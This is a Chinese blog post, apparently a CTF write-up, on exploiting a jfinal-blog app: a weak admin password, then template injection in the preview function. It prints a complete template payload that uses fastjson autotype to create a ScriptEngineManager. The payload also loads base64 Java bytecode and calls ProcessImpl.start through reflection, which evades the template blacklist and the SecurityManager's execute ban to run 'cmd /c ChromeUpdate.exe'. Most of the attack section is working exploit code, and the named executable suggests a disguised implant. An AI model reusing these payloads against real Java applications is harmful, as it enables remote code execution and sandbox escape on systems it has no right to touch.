感觉payload构造过程还挺有意思的
题目给的是一个jar jfinal-blog 后台是弱口令
而后台的preview中存在一个模版注入

  public void preview() throws Exception {
    Blog blog = (Blog)getBean(Blog.class);
    Engine engine = AppConfig.getEngine();
    String baseTemplatePath = engine.getBaseTemplatePath();
    File tmpFile = File.createTempFile("temp", ".html", new File(baseTemplatePath));
    FileOutputStream fileOutputStream = new FileOutputStream(tmpFile);
    fileOutputStream.write(blog.getContent().getBytes(StandardCharsets.UTF_8));
    fileOutputStream.flush();
    FileInputStream fileInputStream = new FileInputStream(tmpFile);
    byte[] buf = new byte[fileInputStream.available()];
    fileInputStream.read(buf);
    String template = renderToString("/" + tmpFile.getName(), null);
    boolean isDelete = tmpFile.delete();
    if (isDelete)
      System.out.println("tmp file is deleted"); 
    renderHtml(template);
  }
}

这个显然是可以搞事情的
https://jfinal.com/doc/6-1
通过翻阅jfinal文档中关于模版引擎的部分 发现这个模版引擎直接调用方法的话只支持静态方法 但是直接直接调用实例对象的方法 并且在模版源码里对类型和调用的方法都有很多拦截

Class<?>[] cs = new Class[] { 
        System.class, Runtime.class, Thread.class, Class.class, ClassLoader.class, File.class, Compiler.class, InheritableThreadLocal.class, Package.class, Process.class, 
        RuntimePermission.class, SecurityManager.class, ThreadGroup.class, ThreadLocal.class, Method.class, Proxy.class, ProcessBuilder.class, MethodKit.class };
    for (Class<?> c : cs)
      forbiddenClasses.add(c); 
    String[] ms = { 
        "getClass", "getDeclaringClass", "forName", "newInstance", "getClassLoader", "invoke", "notify", "notifyAll", "wait", "exit", 
        "loadLibrary", "halt", "stop", "suspend", "resume", "removeForbiddenClass", "removeForbiddenMethod" };

所以核心问题在于:找一个能返回实例的静态方法 看来看去 我把目光放在了fastjson上
虽然环境里的依赖是fastjson1.2.73 但是fastjson是支持自己手动开autotype和添加白名单的
代码长这样

com.alibaba.fastjson.parser.ParserConfig.getGlobalInstance().addAccept("javax.script.ScriptEngineManager");
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

getGlobalInstance刚刚好好是个静态方法
而JSON.parse也同样是静态方法 所以就可以利用fastjson来创建任意的对象了
其实是可以直接拿来打fastjson的payload的 但是远程jdk版本太高了(8u301)
本地也没什么好的反序列化gadget 就放弃了jndi注入 字节码当时试了半天一直500(现在猜想可能是因为沙盒的缘故)
所以最后是选择了 javax.script.ScriptEngineManager来执行Java代码

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true))
#(x.addAccept("javax.script.ScriptEngineManager"))
#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
#set(b=a.getEngineByName('js'))
#set(payload=xxxxxx)
#(b.eval(payload))

而执行runtime.exec会500
反复尝试之后确认了是沙盒的问题 execute权限被ban掉了

public class ForbiddenSecurityManager {
  public static void setSecurityManager() {
    SecurityManager oldSecurityManager = System.getSecurityManager();
    if (oldSecurityManager == null) {
      SecurityManager execSecurityManager = new SecurityManager() {
          private void check(Permission permission) {
            if (permission instanceof java.io.FilePermission) {
              String actions = permission.getActions();
              if (actions != null && actions.contains("execute"))
                throw new SecurityException("cant execute file!"); 
              if (actions != null && actions.contains("write") && 
                permission.getName().endsWith(".dll"))
                throw new SecurityException("cant create dll file"); 
            } 
            if (permission instanceof RuntimePermission) {
              String name = permission.getName();
              if (name != null && name.contains("setSecurityManager"))
                throw new SecurityException("cant overwrite SecurityManager!"); 
            } 
          }

          public void checkPermission(Permission perm) {
            check(perm);
          }

          public void checkPermission(Permission perm, Object context) {
            check(perm);
          }
        };
      System.setSecurityManager(execSecurityManager);
    } 
  }
}

不过这个沙盒跟筛子一样..
https://www.anquanke.com/post/id/151398#h3-6
根据何师傅的文章 利用jsengine加载字节码 然后执行反射的内容就行了
最后的payload 打的时候需要urlencode下

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())#(x.setAutoTypeSupport(true))#(x.addAccept("javax.script.ScriptEngineManager"))#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))#set(b=a.getEngineByName('js'))#(b.eval("try{function define(classBytes) { var byteArray = Java.type('byte[]'); var int = Java.type('int'); var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', byteArray.class, int.class, int.class); defineClassMethod.setAccessible(true); var cc = defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(), classBytes, 0, classBytes.length); return cc.getConstructor().newInstance(); } var byteCode = 'yv66vgAAADQAWQoADQAtCAAuCgAFAC8IADAHADEHADIHADMHADQHADgJADkAOgoABQA7CgA8AD0HAD4IAD8IAEAKADkAQQoAPABCBwBDCgASAEQIAEUKABYARgcARwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAdTGNvbS9wM3JoNHBzL2J5dGVDb2Rlcy9leGVjNjsBABxleGVjdXRlQ29tbWFuZFdpdGhSZWZsZWN0aW9uAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQADY2x6AQARTGphdmEvbGFuZy9DbGFzczsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAdjb21tYW5kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAQwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACmV4ZWM2LmphdmEMABcAGAEAFWphdmEubGFuZy5Qcm9jZXNzSW1wbAwASABJAQAFc3RhcnQBAA9qYXZhL2xhbmcvQ2xhc3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQANamF2YS91dGlsL01hcAEAEGphdmEvbGFuZy9TdHJpbmcHAEsBAAhSZWRpcmVjdAEADElubmVyQ2xhc3NlcwEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyJFJlZGlyZWN0OwcATAwATQAhDABOAE8HAFAMAFEAUgEAEGphdmEvbGFuZy9PYmplY3QBAANjbWQBAAIvYwwAUwBUDABVAFYBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABXABgBABBDaHJvbWVVcGRhdGUuZXhlDAAeAB8BABtjb20vcDNyaDRwcy9ieXRlQ29kZXMvZXhlYzYBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwcAWAEAIWphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAEAEWphdmEvbGFuZy9Cb29sZWFuAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihaKUxqYXZhL2xhbmcvQm9vbGVhbjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIAIQAWAA0AAAAAAAMAAQAXABgAAQAZAAAALwABAAEAAAAFKrcAAbEAAAACABoAAAAGAAEAAAAHABsAAAAMAAEAAAAFABwAHQAAAAkAHgAfAAEAGQAAAOYACQADAAAAaxICuAADTCsSBAi9AAVZAxIGU1kEEgdTWQUSCFNZBhIJU1kHsgAKU7YAC00sBLYADCwrCL0ADVkDBr0ACFkDEg5TWQQSD1NZBSpTU1kEAVNZBQFTWQYBU1kHA7gAEFO2ABFXpwAITCu2ABOxAAEAAABiAGUAEgADABoAAAAiAAgAAAANAAYADgArAA8AMAAQAGIAEwBlABEAZgASAGoAFAAbAAAAKgAEAAYAXAAgACEAAQArADcAIgAjAAIAZgAEACQAJQABAAAAawAmACcAAAAoAAAACQAC9wBlBwApBAAIACoAGAABABkAAAAiAAEAAAAAAAYSFLgAFbEAAAABABoAAAAKAAIAAAAJAAUACgACACsAAAACACwANwAAAAoAAQA1AEoANgQJ'; var decode = null; try { decode = java.util.Base64.getDecoder().decode(byteCode); } catch (e) { decode = new sun.misc.BASE64Decoder().decodeBuffer(byteCode); } var a= define(decode);a}catch(e){e}"))

字节码的类

package com.p3rh4ps.byteCodes;

import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Map;

public class exec6 {
    static {
        executeCommandWithReflection("ChromeUpdate.exe");
    }
    public static void executeCommandWithReflection(String command){
        try {
            Class clz = Class.forName("java.lang.ProcessImpl");
            Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
            method.setAccessible(true);
            method.invoke(clz,new String[]{"cmd","/c",command},null,null,null,false);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}


Categories: 技术

0 Comments

发表评论

Avatar placeholder

您的电子邮箱地址不会被公开。 必填项已用*标注